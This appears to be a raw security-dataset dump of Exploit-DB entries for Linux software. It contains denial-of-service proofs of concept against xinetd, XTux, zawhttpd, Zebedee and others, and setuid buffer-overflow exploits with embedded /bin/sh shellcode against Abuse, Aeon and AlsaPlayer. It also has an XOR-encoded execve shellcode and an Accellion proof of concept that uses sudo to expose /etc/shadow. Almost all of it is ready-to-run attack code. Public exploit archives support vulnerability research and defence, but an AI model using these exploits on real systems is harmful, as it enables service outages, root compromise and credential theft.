deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22508
Description: Xinetd 2.1.x/2.3.x - Rejected Connection Memory Leakage Denial of Service
Type: dos
Platform: linux
Date: 2003-04-18
Author: Steve Grubb

Exploit:
source: https://www.securityfocus.com/bid/7382/info

A denial of service vulnerability has been reported for Xinetd. The vulnerability exists due to memory leaks occuring when connections are rejected.

Numerous, repeated connections to a vulnerable Xinetd server will result in the consumption of all available memory resources thereby causing a denial of service condition. 

while true; do telnet localhost chargen < /dev/null; done;
Exploit-DB #4216
Description: Xserver 0.1 Alpha - 'POST' Remote Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2007-07-23
Author: deusconstruct

Exploit:
#!/usr/bin/perl
#
#      _                                    _                   _  
#   __| | ___ _   _ ___  ___ ___  _ __  ___| |_ _ __ _   _  ___| |_
#  / _` |/ _ \ | | / __|/ __/ _ \| '_ \/ __| __| '__| | | |/ __| __|
# | (_| |  __/ |_| \__ \ (_| (_) | | | \__ \ |_| |  | |_| | (__| |_ 
#  \__,_|\___|\__,_|___/\___\___/|_| |_|___/\__|_|   \__,_|\___|\__|
#                      d.e.u.s..c.o.n.s.t.r.u.c.t
#
# Type       -> Proof-of-Concept (P0C) Remote DoS Buffer Overflow
# App        -> Xserver 0.1 Alpha
# URL  	     -> http://sourceforge.net/projects/xserver/
# Found By   -> deusconstruct
#
# Stack trace:
# Frame     Function  Args
# 18FDC978  610DE824  (41414141, 004020E4, 0040202E, 00000000)
# 18FDCD58  004015D4  (41414141, 41414141, 41414141, 41414141)
#
# Usage: perl xserver-dos-poc.pl www.target.com

use LWP::UserAgent;

$uniq = LWP::UserAgent->new;
$url = shift or die("Please insert a target domain or IP!");
$buffer = 150; # Teh evil 0verflow ammount

print "\n============================\n";
print "Xserver 0.1 Alpha Remote DoS\n";
print "DiSc0vEreD by deusconstruct\n";
print "============================\n";
print "\n";
print "[+] Sending evil buffer to $url ...\n";
$req = HTTP::Request->new(POST => "http://$url/" . A x $buffer);
$res = $uniq->request($req);
print "[+] Evil buffer sent! Enj0y!\n";

# milw0rm.com [2007-07-23]
Exploit-DB #21338
Description: XTux Server 2001.0 6.01 - Garbage Denial of Service
Type: dos
Platform: linux
Date: 2002-03-09
Author: b0iler

Exploit:
source: https://www.securityfocus.com/bid/4260/info

XTux is a multiplayer network game for Linux. The server component (June 01, 2001 version) is vulnerable to a denial of service initiated by connecting to the server and sending unexpected characters. This causes the server to become unresponsive and consume resources. 

#!/usr/bin/perl
#
# xtux server DoS - by b0iler
# server will become unresponcive and takes up lots of CPU.

use IO::Socket;

for($n=0;$n<=3;$n++){ #you shouldn't even need all 3 connections.
        print "Connecting to $ARGV[0] port $ARGV[1]\n";
        $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],  PeerPort =>
$ARGV[1], Proto    => 'tcp' ) or print "\ncouldn't connect\n\n";
        sleep 3;
        print $sock "garbage data\n\n";
}
exit;
Exploit-DB #11932
Description: xwine 1.0.1 - '.exe' Local Crash (PoC)
Type: dos
Platform: linux
Date: 2010-03-29
Author: JosS

Exploit:
# xwine v1.0.1 (.exe file) Local Crash PoC Exploit
# Install: sudo apt-get install xwine
#
# Author: JosS <Jose Luis Gongora Fernandez>
# mail: sys-project[at]hotmail[dot]com
# site: http://hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.


<<crash.pl>>

#!/usr/local/bin/perl

chomp(my $version = `xwine --version`);
if ($version =~ m/v1.0.1/)
{
print "Starting PoC...\n";
# payload = "xwine" . "A" x 4096 . ".exe";
chomp(my $buffer = `xwine AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.exe`);
# print "$buffer\n\n";
}
else
{
print "\n[-] Xwine is not installed on the system\n\n";
exit(1);
}
Exploit-DB #32248
Description: Yelp 2.23.1 - Invalid URI Format String
Type: dos
Platform: linux
Date: 2008-08-13
Author: Aaron Grattafiori

Exploit:
source: https://www.securityfocus.com/bid/30690/info

Yelp is prone to a remote format-string vulnerability because the application fails to properly sanitize user-supplied input before including it in the format-specifier argument of a formatted-printing function.

A remote attacker may exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts may cause denial-of-service conditions.

Yelp 2.23.1 is vulnerable; other versions may also be affected. 

ftp://%08x.%08x.%08x.%08x.%08x.%08x
%x%x%x%x%x%x://
%08x%08x
Exploit-DB #27723
Description: Yukihiro Matsumoto Ruby 1.x - XMLRPC Server Denial of Service
Type: dos
Platform: linux
Date: 2006-04-21
Author: Tanaka Akira

Exploit:
source: https://www.securityfocus.com/bid/17645/info

Ruby is affected by a denial-of-service vulnerability in the WEBrick HTTP server. This issue is due to the use of blocking network operations. Ruby's implementation of XML/RPC is also affected, since it uses the vulnerable WEBrick server.

This issue allows remote attackers to cause affected webservers to fail to respond to further legitimate requests.

Ruby versions prior to 1.8.3 are affected by this issue.

The following Ruby command will issue a request sufficient to trigger this issue:

ruby -rsocket -e 'TCPSocket.open("www.example.com", 10080) {|s|
s.print "GET /z HTTP/1.0\r\n\r\n"
sleep
}'
Exploit-DB #28775
Description: Zabbix 1.1.2 - Multiple Remote Code Execution Vulnerabilities
Type: dos
Platform: linux
Date: 2006-10-09
Author: Max Vozeler

Exploit:
source: https://www.securityfocus.com/bid/20416/info

ZABBIX is prone to multiple unspecified remote code-execution vulnerabilities. 

Reports indicate that these issues facilitate format-string and buffer-overflow attacks. A remote attacker may leverage these vulnerabilities to trigger denial-of-service conditions or to execute arbitrary code to gain unauthorized access to a vulnerable computer. This would occur in the context of the application.

ZABBIX version 1.1.2 is reported vulnerable; other versions may be affected as well.

#!/usr/bin/perl --

# zabbix-exploiter
# by Ulf Harnhammar in 2006
# I hereby place this program in the public domain.

use IO::Socket;
$server = IO::Socket::INET->new( Proto     => 'tcp',
                                 LocalPort => 10050,
                                 Listen    => SOMAXCONN,
                                 Reuse     => 1);
die "can't create server\n" if !$server;

while ($client = $server->accept())
{
  $client->autoflush(1);
  $key = <$client>; print $key;
  print $client 'UUUU%16$n'; # writes data to 0x55555555, at least on Debian testing
  # print $client '%n%n%n%n'; # crashes
  close $client;
}
Exploit-DB #1746
Description: zawhttpd 0.8.23 - GET Remote Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: linux
Date: 2006-05-04
Author: Kamil Sienicki

Exploit:
#!/usr/bin/perl
# zawhttpd Buffer Overflow Exploit
# by Kamil 'K3' Sienicki

use IO::Socket;
use strict;

my($socket) = "";

if($socket = IO::Socket::INET->new(
                PeerAddr => $ARGV[0],
                PeerPort => $ARGV[1],
                Proto => "TCP"))
{
        print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ...";
        print $socket "GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0\r\n\r\n";
        close($socket);
}
else
{
        print "perl zawhttpd.pl localhost 80 \n";
        print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}
#EoF 

# milw0rm.com [2006-05-04]
Exploit-DB #26249
Description: Zebedee 2.4.1 - Remote Denial of Service
Type: dos
Platform: linux
Date: 2005-09-09
Author: Shiraishi.M

Exploit:
// source: https://www.securityfocus.com/bid/14796/info

A remote denial of service vulnerability affects Zebedee. This issue is due to a failure of the application to properly handle exceptional network requests.

Specifically, Zebedee is unable to handle requests for connections that contain a zero for the requested destination port.

A remote attacker may leverage this issue to crash the affected application, denying service to legitimate users.

Zebedee version 2.4.1 is reported vulnerable to this issue; other versions may also be affected.

/*
        $ gcc -o mkZebedeeDoS mkZebedeeDoS.c
        $ ./mkZebedeeDoS > zebedeeDoS
        $ nc targethost port < zebedeeDoS
*/

#include <stdio.h>

int main (int argc, char **argv)
{

        int i, size;

        char data[] = {
        0x02, 0x01, // protocol version
        0x00, 0x00, // flags
        0x20, 0x00, // max message size
        0x00, 0x06, // compression info
        0x00, 0x00, // port request: value = 0x0
        0x00, 0x80, // key length
        0xff, 0xff, 0xff, 0xff, // key token
        0x0b, 0xd8, 0x30, 0xb3, 0x21, 0x9c, 0xa6, 0x74, // nonce value
        0x00, 0x00, 0x00, 0x00 // target host address
         };

        size = 28;
        for(i=0; i<size; i++){
                printf("%c", data[i]);
        }

        return 0;

}
Exploit-DB #22273
Description: Zlib 1.1.4 - Compression Library 'gzprintf()' Buffer Overrun (1)
Type: dos
Platform: linux
Date: 2003-02-23
Author: Richard Kettlewel

Exploit:
// source: https://www.securityfocus.com/bid/6913/info

A buffer-overrun vulnerability has been reported in the Zlib compression library. Due to the use of 'vsprintf()' by an internal Zlib function, an attacker can cause memory to become corrupted. This buffer overrun occurs becuase the software fails to check the boundaries of user-supplied data given to the 'gzprintf()' function.

Successful exploitation of this vulnerability may allow an attacker to execute arbitrary instructions.

Note that only Zlib 1.1.4 has been reported vulnerable to this issue. It is not yet known whether earlier versions are also affected. 

#include <zlib.h>
    #include <errno.h>
    #include <stdio.h>

    int main(void) {
      gzFile f;
      int ret;

      if(!(f = gzopen("/dev/null", "w"))) {
        perror("/dev/null");
        exit(1);
      }
      ret = gzprintf(f, "%10240s", "");
      printf("gzprintf -> %d\n", ret);
      ret = gzclose(f);
      printf("gzclose -> %d [%d]\n", ret, errno);
      exit(0);
    }
Exploit-DB #27425
Description: Zoo 2.10 - Parse.c Local Buffer Overflow
Type: dos
Platform: linux
Date: 2006-03-16
Author: Josh Bressers

Exploit:
source: https://www.securityfocus.com/bid/17126/info

Zoo is prone to a local buffer-overflow vulnerability. This issue is due to a failure in the application to do proper bounds checking on user-supplied data before using it in a finite-sized buffer.

An attacker can exploit this issue to execute arbitrary code in the context of the victim user running the affected application to potentially gain elevated privileges.

mkdir `perl -e 'print "A"x254'`
cd `perl -e 'print "A"x254'`
mkdir `perl -e 'print "A"x254'`
cd `perl -e 'print "A"x254'`
touch feh
cd ../..
zoo a arch.zoo `perl -e 'print "A"x254 . "/" . "A"x254 . "/feh"'`
Exploit-DB #51834
Description: (shellcode) Linux-x64 - create a shell with execve() sending argument using XOR (/bin//sh) [55 bytes]
Type: local
Platform: linux
Date: 2024-02-28
Author: Alexys (0x177git)

Exploit:
# Exploit Title: Linux-x64 - create a shell with execve() sending argument using XOR (/bin//sh) [55 bytes]

# Shellcode Author: Alexys (0x177git)

# Tested on: Linux (x86_64)

# Shellcode Description: creating a new process using execve() syscall sending bin//sh as argument | (encrypted using XOR operation was QWORD size (/bin - //sh))

# Blog post: @MoreRubyOfSec (https://t.me/MoreRubyOfSec) on Telegram

# Original code:
[https://github.com/0x177git/xor-encrypted-execve-sh](https://github.com/0x177git/xor-encrypted-execve-sh/blob/main/execve-xor-encrypted-argv.asm)

---- Assembly code ----

section .text

global _start

_start:

xor eax, eax

xor edx, edx ; clear rdx (argv on execve() protoype)

mov qword [rsp-32], 0x7466684b ;

mov qword [rsp-28],0x60650b1d ; encrypted(/bin//sh) 0x60, 0x65, 0xb, 0x1d, 0x74, 0x66, 0x68, 0x4b

xor qword [rsp-32], 0x1a0f0a64

xor qword [rsp-28], 0x08162432 ; passwd 0x8, 0x16, 0x24, 0x32, 0x1a, 0xf, 0xa, 0x64

lea rdi, [rsp-32]

push rax ; end of string

push rdi ; send string to stack

mov rsi, rsp ; send address of RSP to rsi -> (arg on linux syscall architecture convection) || execve(rsi, rdx)

; call execve()

mov al, 0x3b

syscall

-
- - - shellcode execution using stack in c (

gcc -z execstack shellcode.c -o shellcode

) ----

/*

"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05"

;

*/

void

main

()
{
const

char

shellcode

[]

=

"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x31\xc0\xb0\x3b\x0f\x05"

;

void

(

*

f

)()

=

(

void

(

*

)())

shellcode

;

f

();
}
Exploit-DB #21980
Description: Abuse 2.0 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2002-11-01
Author: Girish

Exploit:
/*
source: https://www.securityfocus.com/bid/6094/info

Vulnerabilities have been discovered in two files used by Abuse.

By passing an execessively long commandline argument to Abuse, it is possible to overrun a buffer. Exploiting this issue could allow a local attacker to overwrite sensitive memory variables, resulting in the execution of arbitrary code, within the context of Abuse process.

It should be noted that one of the affected files is installed setuid root.

It should also be noted that Abuse 2.00, packaged and distributed with the x86 architecture of Debian Linux 3.0 has been reported vulnerable. It is not yet known if other packages are affected by this issue. 
*/

	 /*          Abuse.console version 2.0 Exploit           */
	/*            By Girish<girish@mec.ac.in>                

                     <Tested on Debian 3.0 woody>                */

#include<stdio.h>
#define RET 0xbffff55a
#define LEN 980
#define NOP 0x90

static char shellcode[]=
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


long esp(void)
{
	__asm("movl %esp,%eax");
}

void  main(int argc,char *argv[])
{
	
	char cmd[1000];
	int i,x;
	long  retn;
	char buff[LEN];
	
	
	printf("\nUsage :- %s <offset>\n..",argv[0]);
	
	if(argc>1)
		retn=esp()-atoi(argv[1]);
	else
		retn=RET;

	printf("Using return Adress :- ",retn );

	for(i=0;i<LEN;i+=4)
	{
		*(long*)&buff[i]=retn;
	}

	for(i=0;i<(LEN-(strlen(shellcode)+8));i++)
	{
		*(buff+i)=NOP;

	}

	memcpy(buff+i,shellcode,strlen(shellcode));

	sprintf(cmd,"/usr/lib/games/abuse/abuse.console -net %s",buff);

	puts("executing .......");
	
	system(cmd);
	
	return;
}
Exploit-DB #33623
Description: Accellion Secure File Transfer Appliance - Multiple Command Restriction / Privilege Escalations
Type: local
Platform: linux
Date: 2010-02-10
Author: Tim Brown

Exploit:
source: https://www.securityfocus.com/bid/38176/info
 
Accellion File Transfer Appliance is prone to multiple remote vulnerabilities, including:
 
- Multiple privilege-escalation issues
- A directory-traversal issue
- An HTML-injection issue
- A remote command-injection issue
 
An attacker may leverage these issues to execute arbitrary script code within the context of the webserver, steal cookie-based authentication credentials, obtain sensitive information, and execute arbitrary code or commands with superuser privileges. Other attacks are also possible.
 
The following proofs of concept are available:

sh-2.05b$ ln /etc/shadow /home/admin/oldtemp
sh-2.05b$ sudo /bin/chmod 666 /home/admin/oldtemp

sh-2.05b$ ln /etc/shadow /home/admin/temp
sh-2.05b$ sudo /bin/cp /home/admin/temp /etc/mail/sendmail.cf

sh-2.05b$ sudo /usr/local/bin/admin.pl
Exploit-DB #913
Description: Aeon 0.2a - Local Linux (1)
Type: local
Platform: linux
Date: 2005-04-05
Author: lammat

Exploit:
#!/usr/bin/perl
#                       Aeon-mail relay agent for Linux                                   *
#                                                                                         *
#           written by lammat just for practice purposes                                  *
#                       tested against aeon-0.2a                                          *
#                       http://grpower.ath.cx		                                  *
#		          lammat@iname.com			                          *


#  execve(/bin/sh) for linux x86
#   29 bytes
#   by Matias Sedalo



$shellcode = 
"\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68".
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";


$buf = 528; 
$ret = 0xbfffe122; 
$nop = "\x90";

if (@ARGV == 1) {
$offset = $ARGV[0];
}

for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}


$buffer .= $shellcode;


print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");


$new_ret = pack('l', ($ret + $offset));

until (length($buffer) == $buf) {
$buffer .= $new_ret;
}

local($ENV{'HOME'}) = $buffer; exec("/home/lammat/aeon-0.2a/aeon $i");

# milw0rm.com [2005-04-05]
Exploit-DB #914
Description: Aeon 0.2a - Local Linux (2)
Type: local
Platform: linux
Date: 2005-04-05
Author: patr0n

Exploit:
/* first release /str0ke */
/*
local linux exploit within aeon-0.2a
Coded by patr0n (security-tmp.h14.ru)
*/


#define BUFLEN 533
#define PATH "/home/research/aeon-0.2a/aeon"

char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";

int main(int argc, char *argv[]) {

        char evilbuf[BUFLEN];
        int i;
        char *p,*av[2], *ev[3];
        char *egg;

        egg=(char *)malloc(1000);
        sprintf(egg, "EGG=");
        memset(egg + 4, 0x90, 1000-1-strlen(shellcode));
        sprintf(egg + 4 + 1000-1-strlen(shellcode), "%s", shellcode);
	
	long ret=0xbfffffff-5-strlen(egg)-strlen(PATH);

        p=evilbuf;
        bzero(evilbuf,sizeof(evilbuf));
	strcpy(evilbuf,"HOME=");
		
        for(i=5;i<=BUFLEN;i+=4) 
	    *(long *)(p+i)=ret; 
	
        av[0] = PATH;
        av[1] = 0;
        ev[0] = egg;
	ev[1] = evilbuf;
        ev[2] = 0;
        execve(*av, av, ev);

        return 0;

}

// milw0rm.com [2005-04-05]
Exploit-DB #21814
Description: AlsaPlayer 0.99.71 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2002-09-20
Author: zillion

Exploit:
// source: https://www.securityfocus.com/bid/5767/info

Alsaplayer is a PCM player that utilizes the ALSA libraries and drivers. It is availabe for Linux and Unix platforms.

A vulnerability has been discovered in Alsaplayer. By specifying an overly long "add-on path", it is possible for an attacker to overrun the buffer, potentially allowing for execution of attacker-supplied code.

It should be noted that although Alsaplayer is not installed setuid by default, it is common practice for users to add a setuid bit to obtain certain functionality. 

/*
 * Alsaplayer exploit for a buffer overflow found by KF (snosoft.com)
 *
 * This program is not installed with special permissions by default.
 * However, the author himself does recommend to do so under certain
 * conditions:
 *
 * http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000656.html
 * http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000657.html
 *
 * Author: zillion[at]safemode.org (09/2002)
 *
 * Tested on Red Hat 7.3 linux with alsaplayer-devel-0.99.71-1
 *
 */

#include <unistd.h>
#include <sys/stat.h>
#include <string.h>

#define BUFFER_SIZE 1056
#define NOP 0x90
#define RET 0xbfffe440

char shellcode[]=

"\xeb\x26\x5e\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb0\xa4\xcd\x80"
"\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xd5\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68";

void print_error(char * burb) {
  printf(" Error: %s !\n",burb); exit(0);
}

void usage(char *progname) {
  printf("\n*--- -- -  Alsaplayer b0f exploit - -- ---*\n");
  printf("\nDefault: %s  -f /path/to/alsaplayer",progname);
  printf("\nOption : %s  -o <offset>\n\n",progname);
  exit(0);
}

int main(int argc, char **argv){

  char buffer[BUFFER_SIZE];
  char file[30];
  long retaddress;
  int arg,offset=500;

  struct stat sbuf;

  if(argc < 2) { usage(argv[0]); }

  while ((arg = getopt (argc, argv, "f:o:")) != -1){
    switch (arg){
    case 'f':
      strncpy(file,optarg,sizeof(file));
      if(stat(argv[2], &sbuf)) { print_error("No such file");}
      break;
    case 'o':
      offset = atoi(optarg);
      if(offset < 0) { print_error("Offset must be positive");}
      break;
    default :
      usage(argv[0]);
    }
  }

  retaddress = (RET - offset);
  memset(buffer,NOP,BUFFER_SIZE);
  memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1);

  /* Overwrite EBP and EIP */
  *(long *)&buffer[BUFFER_SIZE - 8]  = retaddress;
  *(long *)&buffer[BUFFER_SIZE - 4]  = retaddress;

  if(execl(file,file,"-p",buffer,NULL) != 0) {
    print_error("Could not execute alsaplayer ");
  }

  return 0;

}